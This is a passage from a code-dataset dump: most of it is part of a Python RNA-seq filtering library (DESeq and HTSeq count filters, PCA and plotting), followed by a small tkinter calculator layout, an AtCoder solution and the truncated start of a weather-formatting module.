ValueError(f\"Illegal input {mode}: mode must be either 'union' or 'intersection'\")\n new_df = self.df.loc[set(indices)]\n return self._inplace(new_df, opposite, inplace, suffix)\n\n def split_by_bigtable_group(self, attributes: tuple = None,\n ref: str = __bigtable_path__):\n \"\"\"\n Splits the Filter object into multiple Filter objects, \\\n each corresponding to one of the specified Big Table attributes. \\\n Each object contains only features that match its indicated Big Table attribute.\n\n :param attributes: list of Big Table attributes to filter by.\n :param ref: filename/path of the Big Table to be used as reference.\n :return:\n A list of Filter objects, each containing only features that match one Big Table attribute; the Filter objects \\\n appear in the list in the same order the Big Table attributes were given in.\n \"\"\"\n assert isinstance(attributes, (tuple, list, set))\n return [self.filter_by_bigtable_group(attributes=[att], mode='union', ref=ref, inplace=False) for att in\n attributes]\n\n def describe(self, percentiles: list = [0.01, 0.25, 0.5, 0.75, 0.99]):\n \"\"\"\n Generate descriptive statistics that summarize the central tendency, dispersion and shape \\\n of the dataset’s distribution, excluding NaN values. \\\n For more information see the documentation of pandas.DataFrame.describe.\n\n :type percentiles: list-like of numbers, optional\n :param percentiles: The percentiles to include in the output. \\\n All should fall between 0 and 1. \\\n The default is [.25, .5, .75], which returns the 25th, 50th, and 75th percentiles.\n :return:\n Summary statistics of the dataset.\n :rtype: Series or DataFrame\n \"\"\"\n return self.df.describe(percentiles=percentiles)\n\n def features_set(self) -> set:\n \"\"\"\n Returns all of the features in the current DataFrame (which were not removed by previously used filter methods) \\\n as a set. \\\n Warning: if any duplicate features exist in the filter object (same WBGene appears more than once), \\\n the corresponding WBGene index will appear in the returned set ONLY ONCE.\n\n :return:\n A set of WBGene names.\n \"\"\"\n if self.df.index.has_duplicates:\n warnings.warn(\"Warning: this filter object contains multiple rows with the same WBGene index. When \"\n \"returning a set or string of features from this DESeqFilter object, each WBGene index will \"\n \"appear ONLY ONCE!\")\n return set(self.df.index)\n\n def features_string(self) -> str:\n \"\"\"\n Returns a string of all WBGene indices in the current DataFrame separated by newline (the WBGene indices which \\\n were not filtered out by previously-used filter methods). \\\n Warning: if any duplicate features exist in the filter object (same WBGene appears more than once), \\\n the corresponding WBGene index will appear in the returned string ONLY ONCE.\n\n :return:\n A string of WBGene indices separated by newlines (\\n). \\\n For example, \"WBGene00000001\\nWBGene00000003\\nWBGene12345678\".\n \"\"\"\n return \",\".join(self.features_set())\n\n\nclass DESeqFilter(Filter):\n \"\"\"\n A class that receives a DESeq output file and can filter it according to various characteristics.\n\n :param fname: name of the .csv DESeq file to be loaded.\n :type fname: str or pathlib.Path\n \"\"\"\n\n def filter_significant(self, alpha: float = 0.1, opposite: bool = False, inplace: bool = True, ):\n \"\"\"\n Removes all features which did not change significantly, according to the provided alpha.\n\n :param alpha: the significance threshold to determine which genes will be filtered. between 0 and 1.\n :type opposite: bool\n :param opposite: If True, the output of the filtering will be the OPPOSITE of the specified \\\n (instead of filtering out X, the function will filter out anything BUT X). \\\n If False (default), the function will filter as expected.\n :type inplace: bool\n :param inplace: If True (default), filtering will be applied to the current DESeqFilter object. If False, \\\n the function will return a new DESeqFilter instance and the current instance will not be affected.\n :return:\n If 'inplace' is False, returns a new instance of DESeqFilter.\n \"\"\"\n assert isinstance(alpha, float), \"alpha must be a float!\"\n new_df = self.df[self.df['padj'] <= alpha]\n suffix = f\"_sig{alpha}\"\n return self._inplace(new_df, opposite, inplace, suffix)\n\n def filter_top_n(self, n: int = 100, opposite: bool = False, inplace: bool = True, ):\n \"\"\"\n Removes all features except the 'n' most significantly-changed features.\n\n :param n: an integer. How many genes to keep in the DESeqFilter instance\n :type opposite: bool\n :param opposite: If True, the output of the filtering will be the OPPOSITE of the specified \\\n (instead of filtering out X, the function will filter out anything BUT X). \\\n If False (default), the function will filter as expected.\n :type inplace: bool\n :param inplace: If True (default), filtering will be applied to the current DESeqFilter object. If False, \\\n the function will return a new DESeqFilter instance and the current instance will not be affected.\n :return:\n If 'inplace' is False, returns a new instance of DESeqFilter.\n \"\"\"\n assert isinstance(n, int), \"n must be an integer!\"\n self.df.sort_values(by=['padj'])\n new_df = self.df.iloc[0:min(n, self.df.shape[0])]\n suffix = f\"_top{n}\"\n return self._inplace(new_df, opposite, inplace, suffix)\n\n def filter_abs_fold_change(self, abslog2fc: float = 2, opposite: bool = False, inplace: bool = True):\n \"\"\"\n Filters out all features whose absolute log2 fold change is below the indicated threshold. \\\n For example: if log2fc is 2.0, all features whose log2 fold change is between 2 and -2 (went up less than \\\n two-fold or went down less than two-fold) will be filtered out.\n\n :param abslog2fc: The threshold absolute log2 fold change for filtering out a feature. Float or int. \\\n All features whose absolute log2 fold change is lower than log2fc will be filtered out.\n :type opposite: bool\n :param opposite: If True, the output of the filtering will be the OPPOSITE of the specified \\\n (instead of filtering out X, the function will filter out anything BUT X). \\\n If False (default), the function will filter as expected.\n :type inplace: bool\n :param inplace: If True (default), filtering will be applied to the current DESeqFilter object. If False, \\\n the function will return a new DESeqFilter instance and the current instance will not be affected.\n :return:\n If 'inplace' is False, returns a new instance of DESeqFilter.\n \"\"\"\n assert isinstance(abslog2fc, (float, int)), \"abslog2fc must be a number!\"\n assert abslog2fc >= 0, \"abslog2fc must be non-negative!\"\n suffix = f\"_changed{abslog2fc}fold\"\n new_df = self.df[np.abs(self.df['log2FoldChange']) >= abslog2fc]\n return self._inplace(new_df, opposite, inplace, suffix)\n\n def filter_fold_change_direction(self, direction: str = 'pos', opposite: bool = False, inplace: bool = True):\n \"\"\"\n Filters out features according to the direction in which they changed between the two conditions.\n\n :param direction: 'pos' or 'neg'. If 'pos', will keep only features that have positive log2foldchange. \\\n If 'neg', will keep only features that have negative log2foldchange.\n :type opposite: bool\n :param opposite: If True, the output of the filtering will be the OPPOSITE of the specified \\\n (instead of filtering out X, the function will filter out anything BUT X). \\\n If False (default), the function will filter as expected.\n :type inplace: bool\n :param inplace: If True (default), filtering will be applied to the current DESeqFilter object. If False, \\\n the function will return a new DESeqFilter instance and the current instance will not be affected.\n :return:\n If 'inplace' is False, returns a new instance of DESeqFilter.\n \"\"\"\n assert isinstance(direction, str), \\\n \"'direction' must be either 'pos' for positive fold-change, or 'neg' for negative fold-change. \"\n if direction == 'pos':\n new_df = self.df[self.df['log2FoldChange'] > 0]\n suffix = '_PositiveLog2FC'\n elif direction == 'neg':\n new_df = self.df[self.df['log2FoldChange'] < 0]\n suffix = '_NegativeLog2FC'\n else:\n raise ValueError(\n \"'direction' must be either 'pos' for positive fold-change, or 'neg' for negative fold-change. \")\n return self._inplace(new_df, opposite, inplace, suffix)\n\n def split_fold_change_direction(self):\n \"\"\"\n Splits the features in the current DESeqFilter object into two complementary, non-overlapping DESeqFilter \\\n objects, based on the direction of their log2foldchange. The first object will contain only features with a \\\n positive log2foldchange, the second object will contain only features with a negative log2foldchange.\n\n :return:\n a tuple containing two DESeqFilter objects: the first has only features with positive log2 fold change, \\\n and the other has only features with negative log2 fold change.\n \"\"\"\n return self.filter_fold_change_direction(direction='pos', inplace=False), self.filter_fold_change_direction(\n direction='neg', inplace=False)\n\n @staticmethod\n def __return_type(index_set: set, return_type: str):\n assert isinstance(return_type, str), \"'return_type' must be a string!!\"\n if return_type == 'set':\n return index_set\n elif return_type == 'str':\n return \",\".join(index_set)\n else:\n raise ValueError(f\"'return type' must be either 'set' or 'str', is instead '{return_type}'!\")\n\n def _set_ops(self, other, return_type, op):\n assert isinstance(other, (DESeqFilter, set)), \"'other' must be a DESeqFilter object or a set!\"\n op_indices = op(set(self.df.index), set(other.df.index)) if isinstance(other, DESeqFilter) else op(\n set(self.df.index), other)\n return DESeqFilter.__return_type(op_indices, return_type)\n\n def intersection(self, other, return_type: str = 'set'):\n \"\"\"\n Returns a set/string of the WBGene indices that exist in BOTH of the DESeqFilter objects.\n\n :type other: DESeqFilter or set.\n :param other: a second DESeqFilter object or set to calculate intersection with.\n :param return_type: If 'set', returns a set of the intersecting WBGene indices. If 'str', returns a string of \\\n the intersecting WBGene indices, delimited by a comma.\n :return:\n a set/string of the WBGene indices that intersect between two DESeqFilter objects.\n \"\"\"\n return self._set_ops(other, return_type, set.intersection)\n\n def union(self, other, return_type: str = 'set'):\n \"\"\"\n Returns a set/string of the union of WBGene indices between two DESeqFilter objects \\\n (the indices that exist in at least one of the DESeqFilter objects).\n\n :type other: DESeqFilter or set.\n :param other: a second DESeqFilter object or set to calculate union with.\n :param return_type: If 'set', returns a set of the union WBGene indices. If 'str', returns a string of \\\n the union WBGene indices, delimited by a comma.\n :return:\n a set/string of the WBGene indices that exist in at least one of the DESeqFilter objects.\n \"\"\"\n return self._set_ops(other, return_type, set.union)\n\n def difference(self, other, return_type: str = 'set'):\n \"\"\"\n Returns a set/string of the WBGene indices that exist in the first DESeqFilter object but NOT in the second.\n\n :type other: DESeqFilter or set.\n :param other: a second DESeqFilter object or set to calculate difference with.\n :param return_type: If 'set', returns a set of the WBGene indices that exist only in the first DESeqFilter. \\\n If 'str', returns a string of the WBGene indices that exist only in the first DESeqFilter, delimited by a comma.\n :return:\n a set/string of the WBGene indices that that exist only in the first DESeqFilter object (set difference).\n \"\"\"\n return self._set_ops(other, return_type, set.difference)\n\n def symmetric_difference(self, other, return_type: str = 'set'):\n \"\"\"\n Returns a set/string of the WBGene indices that exist either in the first DESeqFilter object OR the second, \\\n but NOT in both (set symmetric difference).\n\n :type other: DESeqFilter or set.\n :param other: a second DESeqFilter object or set to calculate symmetric difference with.\n :param return_type: If 'set', returns a set of the WBGene indices that exist in exactly one DESeqFilter. \\\n If 'str', returns a string of the WBGene indices that exist in exactly one DESeqFilter., delimited by a comma.\n :return:\n a set/string of the WBGene indices that that exist t in exactly one DESeqFilter. (set symmetric difference).\n \"\"\"\n return self._set_ops(other, return_type, set.symmetric_difference)\n\n\nclass HTCountFilter(Filter):\n \"\"\"\n A class that receives an HTSeq output file and can filter it according to various characteristics.\n\n :param fname: name of the .csv HTCount file to be loaded.\n :type fname: str or pathlib.Path\n \"\"\"\n\n def pairplot(self, sample_list: list):\n \"\"\"\n Plot pairwise relationships in the dataset. \\\n Can plot both single samples and average multiple replicates. \\\n For more information see the documentation of seaborn.pairplot.\n\n :type sample_list: 'all', list, or nested list.\n :param sample_list: A list of the sample names and/or grouped sample names to be included in the pairplot. \\\n All specified samples must be present in the HTCountFilter object. \\\n To average multiple replicates of the same condition, they can be grouped in an inner list. \\\n Example input: \\\n [['SAMPLE1A', 'SAMPLE1B', 'SAMPLE1C'], ['SAMPLE2A', 'SAMPLE2B', 'SAMPLE2C'],'SAMPLE3' , 'SAMPLE6']\n :return:\n An instance of seaborn.PairGrid.\n\n .. figure:: pairplot.png\n :align: center\n :scale: 40 %\n\n Example plot of pairplot()\n \"\"\"\n if sample_list == 'all':\n pairplt = sns.pairplot(self.df)\n else:\n sample_df = self._avg_subsamples(sample_list)\n pairplt = sns.pairplot(sample_df)\n plt.show()\n return pairplt\n\n def _rpm_assertions(self, threshold: float = 1):\n \"\"\"\n Various assertions for functions that normalize to RPM, or are meant to be used on pre-normalized values.\n\n :param threshold: optional. A threshold value for filter_low_rpm to be asserted. \n \"\"\"\n assert isinstance(threshold, (float, int)), \"Threshold must be a number!\"\n assert threshold >= 0, \"Threshold must be zero or larger!\"\n if 'rpm' not in str(self.fname):\n warnings.warn(\"Warning: using a function meant for normalized values on potentially unnormalized values!\")\n\n def _avg_subsamples(self, sample_list: list):\n \"\"\"\n Avarages subsamples/replicates according to the specified sample list. \\\n Every member in the sample list should be either a name of a single sample (str), \\\n or a list of multiple sample names to be averaged (list).\n\n :param sample_list: A list of the sample names and/or grouped sample names passed by the user. \\\n All specified samples must be present in the HTCountFilter object. \\\n To average multiple replicates of the same condition, they can be grouped in an inner list. \\\n Example input: \\\n [['SAMPLE1A', 'SAMPLE1B', 'SAMPLE1C'], ['SAMPLE2A', 'SAMPLE2B', 'SAMPLE2C'],'SAMPLE3' , 'SAMPLE6'] \\\n and the resulting output will be a DataFrame containing the following columns: \\\n ['SAMPLE1', 'SAMPLE2', 'SAMPLE3', 'SAMPLE6']\n :return:\n a pandas DataFrame containing samples/averaged subsamples according to the specified sample_list.\n \"\"\"\n samples_df = pd.DataFrame()\n for sample in sample_list:\n if isinstance(sample, str):\n samples_df[sample] = self.df[sample].values\n elif isinstance(sample, (list, str, tuple)):\n samples_df[\",\".join(sample)] = self.df[sample].mean(axis=1).values\n\n return samples_df\n\n def norm_reads_to_rpm(self, all_feature_fname: str, inplace: bool = True):\n \"\"\"\n Receives a dataframe of reads/counts and a dataframe of feature counts (ambiguous, no feature, not aligned, etc). \\\n Divides each column in the read dataframe by (total reads + ambiguous + no feature)*10^-6 in order to normalize the \\\n reads to RPM (reads per million).\n\n :param all_feature_fname: the .csv file which contains feature information about the RNA library \\\n (ambiguous, no feature, not aligned, etc).\n :param inplace: If True (default), filtering will be applied to the current HTCountFilter object. If False, \\\n the function will return a new HTCountFilter instance and the current instance will not be affected.\n :return:\n a DataFrame normalized to RPM\n \"\"\"\n suffix = '_rpm'\n new_df = self.df.copy()\n if isinstance(all_feature_fname, (str, Path)):\n features = general.load_csv(all_feature_fname, 0)\n elif isinstance(all_feature_fname, pd.DataFrame):\n features = all_feature_fname\n else:\n raise TypeError(\"Invalid type for 'all_feature_fname'!\")\n for column in new_df.columns:\n norm_factor = (new_df[column].sum() + features.loc[r'__ambiguous', column] + features.loc[\n r'__no_feature', column]) / (10 ** 6)\n new_df[column] /= norm_factor\n return self._inplace(new_df, opposite=False, inplace=inplace, suffix=suffix)\n\n def filter_low_rpm(self, threshold: float = 5, opposite: bool = False, inplace: bool = True):\n \"\"\"\n remove all features which have less then 'threshold' reads per million in all conditions.\n\n :type threshold: float\n :param threshold: The minimal rpm a feature should have in at least one sample in order not to be filtered out.\n :type opposite: bool\n :param opposite: If True, the output of the filtering will be the OPPOSITE of the specified \\\n (instead of filtering out X, the function will filter out anything BUT X). \\\n If False (default), the function will filter as expected.\n :type inplace: bool\n :param inplace: If True (default), filtering will be applied to the current HTCountFilter object. If False, \\\n the function will return a new HTCountFilter instance and the current instance will not be affected.\n :return:\n If 'inplace' is False, returns a new instance of HTCountFilter.\n \"\"\"\n self._rpm_assertions(threshold=threshold)\n new_df = self.df.loc[[True if max(vals) > threshold else False for gene, vals in self.df.iterrows()]]\n suffix = f\"_filt{threshold}rpm\"\n return self._inplace(new_df, opposite, inplace, suffix)\n\n def split_by_rpm(self, threshold: float = 5):\n \"\"\"\n Splits the features in the current HTCountFilter object into two complementary, non-overlapping HTCountFilter \\\n objects, based on the their maximum expression level. The first object will contain only highly-expressed \\\n features (which have RPM over the specified threshold in at least one sample). The second object will contain \\\n only lowly-expressed features (which have RPM below the specified threshold in all samples).\n\n :param threshold: A float. The minimal rpm a feature needs to have in at least one sample in order to be \\\n included in the \"highly expressed\" object and no the \"lowly expressed\" object.\n :return:\n A tuple containing two HTCountFilter objects: the first has only highly-expressed features, \\\n and the second has only lowly-expressed features.\n \"\"\"\n self._rpm_assertions(threshold=threshold)\n high_expr = self.df.loc[[True if max(vals) > threshold else False for gene, vals in self.df.iterrows()]]\n low_expr = self.df.loc[[False if max(vals) > threshold else True for gene, vals in self.df.iterrows()]]\n return self._inplace(high_expr, opposite=False, inplace=False, suffix=f'_below{threshold}'), \\\n self._inplace(low_expr, opposite=False, inplace=False, suffix=f'_above{threshold}')\n\n def clustergram(self, sample_names: list = 'all', metric: str = 'euclidean', linkage: str = 'average'):\n \"\"\"\n Runs and plots a clustergram on the base-2 log of a given set of samples.\n\n :type sample_names: 'all' or list.\n :param sample_names: the names of the relevant samples in a list. \\\n Example input: [\"1A_N2_25\", \"1B_N2_25\", \"1C_N2_25\", \"2A_rde4_25\", \"2B_rde4_25\", \"2C_rde4_25\"]\n :param metric: the distance metric to use in the clustergram. \\\n Example inputs: 'euclidean', 'hamming', 'correlation'. \\\n For all possible inputs see scipy.spatial.distance.pdist documentation online.\n :param linkage: the linkage method to use in the clustergram. \\\n Example inputs: 'single', 'average', 'complete', 'ward'. \\\n For all possible inputs see scipy.cluster.hierarchy.linkage documentation online.\n :return:\n A seaborn clustermap object.\n\n\n .. figure:: clustergram.png\n :align: center\n :scale: 40 %\n\n Example plot of clustergram()\n \"\"\"\n assert isinstance(metric, str) and isinstance(linkage, str), \"Linkage and Metric must be strings!\"\n metrics = ['braycurtis', 'canberra', 'chebyshev', 'cityblock', 'correlation', 'cosine', 'dice', 'euclidean',\n 'hamming', 'jaccard', 'jensenshannon', 'kulsinski', 'mahalanobis', 'matching', 'minkowski',\n 'rogerstanimoto', 'russellrao', 'seuclidean', 'sokalmichener', 'sokalsneath', 'sqeuclidean', 'yule']\n linkages = ['single', 'complete', 'average', 'weighted', 'centroid', 'median', 'ward']\n assert metric in metrics and linkage in linkages\n\n if sample_names == 'all':\n sample_names = list(self.df.columns)\n print('Calculating clustergram...')\n plt.style.use('seaborn-whitegrid')\n clustering = sns.clustermap(np.log2(self.df[sample_names] + 1), method=linkage, metric=metric,\n cmap=sns.color_palette(\"RdBu_r\", 10), yticklabels=False)\n plt.show()\n return clustering\n\n def run_pca(self, sample_names: list = 'all', n_components=3, sample_grouping: list = None):\n \"\"\"\n runs and plots a PCA for a given set of samples.\n\n :type sample_names: 'all' or list.\n :param sample_names: the names of the relevant samples in a list. \\\n Example input: [\"1_REP_A\", \"1_REP_B\", \"1_REP_C\", \"2_REP_A\", \"2_REP_B\", \"2_REP_C\", \"2_REP_D\", \"3_REP_A\"]\n :param n_components: number of PCA components to return \\\n have rpm lower than filter_low_rpm in all relevant samples.\n :param sample_grouping: Optional. Indicates which samples are grouped together as replicates, \\\n so they will be colored similarly in the PCA plot. A list of indices from 0 and up, that indicates the sample \\\n grouping. \\\n For example, if sample_names is: \\\n [\"1_REP_A\", \"1_REP_B\", \"1_REP_C\", \"2_REP_A\", \"2_REP_B\", \"2_REP_C\", \"2_REP_D\", \"3_REP_A\"], \\\n then the sample_grouping will be: \\\n [0, 0, 0, 1, 1, 1, 1, 2]\n :return:\n A tuple whose first element is an sklearn.decomposition.pca object, \\\n and second element is a list of matplotlib.axis objects.\n\n .. figure:: pca.png\n :align: center\n :scale: 40 %\n\n Example plot of run_pca()\n \"\"\"\n if sample_names == 'all':\n srna_data = self.df.transpose()\n else:\n srna_data = self.df[sample_names].transpose()\n srna_data_norm = StandardScaler().fit_transform(srna_data)\n\n pca_obj = PCA(n_components=n_components)\n pcomps = pca_obj.fit_transform(srna_data_norm)\n columns = [f'Principal component {i + 1}' for i in range(n_components)]\n principal_df = pd.DataFrame(data=pcomps, columns=columns)\n final_df = principal_df\n final_df['lib'] = pd.Series(sample_names)\n\n pc_var = pca_obj.explained_variance_ratio_\n graphs = 2 if n_components > 2 else 1\n axes = []\n for graph in range(graphs):\n axes.append(HTCountFilter._plot_pca(\n final_df=final_df[['Principal component 1', f'Principal component {2 + graph}', 'lib']],\n pc1_var=pc_var[0], pc2_var=pc_var[1 + graph], sample_grouping=sample_grouping))\n\n return pca_obj, axes\n\n @staticmethod\n def _plot_pca(final_df: pd.DataFrame, pc1_var: float, pc2_var: float, sample_grouping: list):\n \"\"\"\n Internal method, used to plot the results from HTCountFilter.run_pca. Static class method.\n\n :param final_df: The DataFrame output from run_pca\n :param pc1_var: Variance explained by the first PC.\n :param pc2_var: Variance explained by the second PC.\n :param sample_grouping: a list of indices from 0 and up, that indicates what samples are grouped together as \\\n biological replicates. For example, if sample_names is: \\\n [\"1A_N2_25\", \"1B_N2_25\", \"1C_N2_25\", \"2A_rde4_25\", \"2B_rde4_25\", \"2C_rde4_25\"], \\\n then the sample_grouping will be: \\\n [0,0,0,1,1,1]\n :return:\n an axis object containing the PCA plot.\n \"\"\"\n plt.style.use('seaborn-whitegrid')\n\n fig = plt.figure(figsize=(8, 8))\n ax = fig.add_subplot(1, 1, 1)\n ax.grid(True)\n ax.set_xlabel(f'{final_df.columns[0]} (explained {pc1_var * 100 :.2f}%)', fontsize=15)\n ax.set_ylabel(f'{final_df.columns[1]} (explained {pc2_var * 100 :.2f}%)', fontsize=15)\n ax.set_title('PCA', fontsize=20)\n\n color_generator = HTCountFilter._color_gen()\n if sample_grouping is None:\n colors = [next(color_generator) for _ in range(len(final_df.columns))]\n else:\n color_opts = [next(color_generator) for _ in range(max(sample_grouping))]\n colors = [color_opts[i - 1] for i in sample_grouping]\n\n ax.scatter(final_df.iloc[:, 0], final_df.iloc[:, 1], c=colors, s=50)\n for _, row in final_df.iterrows():\n row[0] += 1\n row[1] += 1\n ax.text(*row)\n ax.grid(True)\n return ax\n\n def scatter_rpm_vs_rpm(self, sample1: str, sample2: str, xlabel: str = None, ylabel: str = None,\n deseq_highlight=None):\n \"\"\"\n Generate a scatter plot where every dot is a feature, \\\n the x value is log10 of rpm in sample1, the y value is log10 of rpm in sample2.\n\n :param sample1: str/list. Name of the first sample from the HTCountFilter object. \\\n If sample1 is a list, they will be avarged as replicates.\n :param sample2: str/list. Name of the second sample from the HTCountFilter object. \\\n If sample2 is a list, they will be averaged as replicates.\n :param xlabel: optional. If not specified, sample1 will be used as xlabel.\n :param ylabel: optional. If not specified, sample2 will be used as ylabel.\n :param deseq_highlight: DESeqFilter object or iterable of WBGene indices(optional). \\\n If specified, the points in the scatter corresponding to the WBGene indices in deseq_highlight will be \\\n highlighted in red.\n :return:\n a matplotlib axis object.\n\n .. figure:: rpm_vs_rpm.png\n :align: center\n :scale: 60 %\n\n Example plot of scatter_rpm_vs_rpm()\n\n \"\"\"\n self._rpm_assertions()\n assert isinstance(sample1, (str, list, tuple, set)) and isinstance(sample2, (str, list, tuple, set))\n xvals = np.log10(self.df[sample1].values + 1) if isinstance(sample1, str) else np.log10(\n self.df[sample1].mean(axis=1).values + 1)\n yvals = np.log10(self.df[sample2].values + 1) if isinstance(sample2, str) else np.log10(\n self.df[sample2].mean(axis=1).values + 1)\n\n plt.style.use('seaborn-whitegrid')\n if xlabel is None:\n xlabel = f'log10(reads per million) from library {sample1}'\n if ylabel is None:\n ylabel = f'log10(reads per million) from library {sample2}'\n fig = plt.figure(figsize=(8, 8))\n ax = fig.add_subplot(1, 1, 1)\n ax.set_xlabel(xlabel, fontsize=15)\n ax.set_ylabel(ylabel, fontsize=15)\n ax.set_title(f'{sample1} vs {sample2}', fontsize=20)\n ax.scatter(xvals, yvals, s=3, c='#6d7178')\n\n if deseq_highlight is not None:\n highlight_features = deseq_highlight.features_set() if isinstance(deseq_highlight,\n DESeqFilter) else deseq_highlight\n xvals_highlight = np.log10(self.df[sample1].loc[highlight_features].values + 1) if \\\n isinstance(sample1, str) else np.log10(self.df[sample1].loc[highlight_features].mean(axis=1).values + 1)\n yvals_highlight = np.log10(self.df[sample2].loc[highlight_features].values + 1) if \\\n isinstance(sample2, str) else np.log10(self.df[sample2].loc[highlight_features].mean(axis=1).values + 1)\n\n ax.scatter(xvals_highlight, yvals_highlight, s=3, c=np.array([[0.75, 0.1, 0.1]]))\n plt.show()\n return ax\n\n # TODO: fix pandas warning\n\n def violin_plot(self, samples='all'):\n \"\"\"\n Generates a violin plot of the specified samples in the HTCountFilter object. \\\n Can plot both single samples and average multiple replicates. \\\n It is recommended to use this function on normalized values and not on absolute read values. \\\n Box inside the violin plot indicates 25% and 75% percentiles, and the white dot indicates the median.\n\n :type samples: 'all' or list.\n :param samples: A list of the sample names and/or grouped sample names to be plotted in the violin plot. \\\n All specified samples must be present in the HTCountFilter object. \\\n To average multiple replicates of the same condition, they can be grouped in an inner list. \\\n Example input: \\\n [['SAMPLE1A', 'SAMPLE1B', 'SAMPLE1C'], ['SAMPLE2A', 'SAMPLE2B', 'SAMPLE2C'],'SAMPLE3' , 'SAMPLE6']\n :return:\n a seaborn violin object.\n\n .. figure:: violin.png\n :align: center\n :scale: 60 %\n\n Example plot of violin_plot()\n\n \"\"\"\n self._rpm_assertions()\n if samples == 'all':\n samples_df = self.df\n else:\n samples_df = self._avg_subsamples(samples)\n\n samples_df = np.log10(samples_df + 1)\n violin = sns.violinplot(data=samples_df)\n plt.style.use('seaborn-whitegrid')\n plt.xlabel(\"Samples\")\n plt.ylabel(\"Log10 RPM\")\n plt.show()\n return violin\n\n # TODO: add ranksum test\n\n @staticmethod\n def from_folder(folder_path: str, save_csv: bool = True, norm_to_rpm: bool = True, save_reads_fname: str = None,\n save_not_counted_fname: str = None):\n \"\"\"\n Iterates over htcount files in a given folder and combines them into a single HTCountFilter table. \\\n Can also save the count data table and the uncounted data table to .csv files, and normalize the HTCountFilter \\\n table to reads per million (RPM). Note that the saved data will always be count data, and not normalized data, \\\n regardless if the HTCountFilter table was normalized or not.\n\n :param folder_path: str or pathlib.Path. Full path of the folder that contains individual htcount .txt files.\n :param save_csv: bool. If True (default), the joint DataFrame of count data and uncounted data will be saved \\\n to two separate .csv files. The files will be saved in 'folder_path', and named according to the parameters \\\n 'save_reads_fname' for the count data, and 'save_not_counted_fname' for the uncounted data (unaligned, \\\n alignment not unique, etc).\n :param norm_to_rpm: bool. If True (default), the HTCountFilter table will be automatically normalized to \\\n reads per million (RPM). If False, the HTCountFilter object will not be normalized, and will instead contain \\\n absolute count data (as in the original htcount .txt files). \\\n Note that if save_csv is True, the saved .csv fill will contain ABSOLUTE COUNT DATA, as in the original \\\n htcount .txt files, and NOT normalized data.\n :param save_reads_fname: str. Name under which to save the combined count data table. Does not need to include \\\n the '.csv' suffix.\n :param save_not_counted_fname: save_reads_fname: str. Name under which to save the combined uncounted data. \\\n Does not need to include the '.csv' suffix.\n :return:\n an HTCountFilter object containing the combined count data from all individual htcount .txt files in the \\\n specified folder.\n \"\"\"\n file_suffix = '.csv'\n if save_csv:\n assert isinstance(save_reads_fname, str)\n assert isinstance(save_not_counted_fname, str)\n\n if not save_reads_fname.endswith(file_suffix):\n save_reads_fname += file_suffix\n if not save_not_counted_fname.endswith(file_suffix):\n save_not_counted_fname += file_suffix\n\n save_reads_fname = f\"{folder_path}\\\\{save_reads_fname}\"\n save_not_counted_fname = f\"{folder_path}\\\\{save_not_counted_fname}\"\n\n folder = Path(folder_path)\n df = pd.DataFrame()\n for item in folder.iterdir():\n if item.is_file() and item.suffix == '.txt':\n df = pd.concat([df, pd.read_csv(item, sep='\\t', index_col=0, names=[item.name])], axis=1)\n\n uncounted = df.loc['__no_feature':'__alignment_not_unique']\n counts = pd.concat([df, uncounted]).drop_duplicates(keep=False)\n\n if save_csv:\n general.save_to_csv(df=counts, filename=save_reads_fname, suffix='')\n general.save_to_csv(df=uncounted, filename=save_not_counted_fname, suffix='')\n\n fname = save_reads_fname if save_csv else folder.name + file_suffix\n h = HTCountFilter((Path(fname), counts))\n if norm_to_rpm:\n h.norm_reads_to_rpm(uncounted)\n return h\n\n# TODO: a function that receives a dataframe, and can plot correlation with the BigTable instead of just enrichment\n# TODO: add option for mask in clustergram\n","sub_path":"rnalysis/filtering.py","file_name":"filtering.py","file_ext":"py","file_size_in_byte":45257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"640226701","text":"#place()方法\nfrom tkinter import *\n#主窗口\nwin = Tk()\n#创建窗体\nframe = Frame (win, relief=RAISED, borderwidth=2, width=400, height=300)\nframe. pack (side=TOP, fill=BOTH,ipadx=5, ipady=5, expand=1)\n\nent_input = Entry(frame)\nent_input.place(x=10 ,y=10, anchor=NW, width=120, height=30 )\nfor i in range (3,0,-1):\n for j in range (3,0,-1):\n print (i,j,(i-1)*3+j)\n but = Button ( frame, text=\"%s\"%((i-1)*3+j)) \n print ('[%d,%d]'%(10 + j*30,40+30*i))\n but.place (x=10 + (j-1)*30,y=40+30*(3-i), anchor=NW, width=30, height=30)\n\nbut = Button ( frame, text=\"0\") \nbut.place (x=10 ,y=40+90, anchor=NW, width=60, height=30)\nbut = Button ( frame, text=\".\") \nbut.place (x=10+60 ,y=40+90, anchor=NW, width=30, height=30)\n\nbut = Button ( frame, text=\"+\") \nbut.place (x=10+90 ,y=40, anchor=NW, width=30, height=60)\n\n#开始窗口的事件循环\nwin. mainloop()\n","sub_path":"MyTkinter程序/tank/第五周/T_place_02.py","file_name":"T_place_02.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"431667543","text":"N, K = map(int, input().split())\nS = list(input())\nT = list(sorted(S))\n\ndef diff(A, B) :\n A.sort()\n B.sort()\n pos = 0\n count = 0\n for i in range(len(A)) :\n for j in range(pos, len(B)) :\n if A[i] == B[j] :\n pos = j + 1\n count += 1\n break\n elif A[i] < B[j] :\n pos = j\n break\n return len(A) - count\n\nans = ''\n\nfor i in range(N) :\n for t in T :\n subT = T.copy()\n subT.remove(t)\n if diff(S[i + 1:], subT) + (S[i] != t) <= K :\n if S[i] != t :\n K -= 1\n ans += t\n T = subT\n break\n\nprint(ans)\n","sub_path":"AtCoder/abc/009c.py","file_name":"009c.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"633896862","text":"import json\nfrom datetime import datetime\n\nDEGREE_SYBMOL = u\"\\N{DEGREE SIGN}C\"\n\ndef format_temperature(temp):\n \"\"\"Takes a temperature and returns it in string format with the degrees and celcius symbols.\n \n Args:\n temp: A string representing a temperature.\n Returns:\n A string contain the temperature and 'degrees celcius.'\n \"\"\"\n return f\"{temp}{DEGREE_SYBMOL}\"\n\ndef convert_date(iso_string):\n \"\"\"Converts and ISO formatted date into a human readable format.\n \n Args:\n iso_string: An ISO date string..\n Returns:\n A date formatted like: Weekday Date Month Year\n \"\"\"\n d = datetime.strptime(iso_string, \"%Y-%m-%dT%H:%M:%S%z\")\n return d.strftime('%A %d %B %Y')\n\n\ndef convert_f_to_c(temp_in_farenheit):\n 